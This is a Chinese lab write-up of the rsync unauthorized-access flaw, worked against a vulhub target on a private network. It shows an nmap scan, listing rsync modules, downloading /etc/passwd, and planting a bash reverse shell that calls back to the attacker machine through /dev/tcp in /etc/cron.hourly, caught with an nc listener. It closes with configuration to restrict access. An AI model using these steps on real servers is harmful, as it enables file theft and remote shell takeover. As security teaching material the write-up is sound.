Rsync未授权访问
2024-10-12 09:33:06
1.漏洞名称
Rsync 未授权访问漏洞
2.漏洞原理
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。 其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或 访问密码,我们将可以读写目标服务器文件。
3.漏洞利用
vulhub环境靶机 : 192.168.91.130
攻击机:kali 192.168.91.128
一、环境搭建
vulhub环境搭建
在纯净ubuntu中部署vulhub环境:
1、安装docker,并用docker -v命令验证安装结果;
curl -s https://get.docker.com/ | sh
2、安装python-pip,并用pip -V命令验证安装结果;
sudo apt-get install python-pip
3、安装docker-compose,并用docker-compose -v验证安装结果
pip install docker-compose
4、将vulhub解压至ubuntu一个路径下:/vulhub-master/
5、进入到相应的漏洞下,docker-compose up -d命令启动容器,使用docker-compose down命令关闭容器。
cd /vulhub-master/rsync/common
sudo docker-compose build //建立
sudo docker-compose up
二、Rsync非授权访问
可以对目标服务器进行扫描:
nmap -p 873 192.168.91.130
扫描结果:
Rsync非授权访问利用
查看模块名列表:
rsync rsync://192.168.91.130:873/
查看src模块
rsync rsync://192.168.91.130:873/src
结果如下:
可以看到目标机器的目录已经被列举出来了:
利用方法
下载文件
rsync -av rsync://192.168.91.130/src/etc/passwd /root/passwd.txt
执行结果:
上传文件反弹shell
查看crontab配置文件:
rsync rsync://192.168.91.130/src/etc/crontab
下载crontab配置文件:
rsync -av rsync://192.168.91.130/src/etc/crontab /root/crontab.txt
查看其内容:
其中
17 * * * * root cd / && run-parts --report /etc/cron.hourly
表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令
shell 写法如下:
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.91.128/4444 0>&1
赋予执行权限:
chmod +x shell
将shell上传至/etc/cron.hourly
rsync -av shell rsync://192.168.91.130/src/etc/cron.hourly
本地监听:
nc -nvv -lp 4444
实验可以自己去修改/etc/crontab配置文件
查看docker容器 ID
docker ps
进入docker
sudo docker exec -it a6cb5e784225 bash
打开/etc/crontab配置文件(vim自己安装。。)
vim /etc/crontab
把时间修改成自己想要的就好
等待时间的到来即可。成功反弹shell
4.漏洞修复
vim /etc/rsync.conf
写入以下代码
hosts allow xxx.xxx.xxx.xxx
auth users = rsync
secrets file = /etc/rsyncd.passwd
新建一个文件
vim /etc/rsyncd.passwd
按一下格式写入能登陆的用户名和密码
username :password
就ok
最新文章
- Linux下的C Socket编程 -- 获取对方IP地址
- spring拦截器排除 静态资源
- XPath Axes(轴)
- 使用AsyncTask异步更新UI界面及原理分析
- innerText引发的错误
- width100%,设置padding或border溢出解决方法
- IOS-UI- UIScrollView 滚动视图(1)
- Linux Shell编程(18)—— 循环控制
- 用代码场景Spine人物
- 导航条——flash导航条
- ASP.NET MVC+EF框架+EasyUI实现权限管理系列(9)-TT模板的学习
- 简单工厂模式(Simple Factory Pattern)
- css 初始化样式
- spring boot集成redis的血泪史
- RESTful支持
- 邮轮ERP系统
- 前端学习历程--js--原型&;闭包
- JAVA基础部分复习(五、JAVA反射)
- 机器学习实战之朴素贝叶斯进行文档分类(Python 代码版)
- Office 手动kms激活方法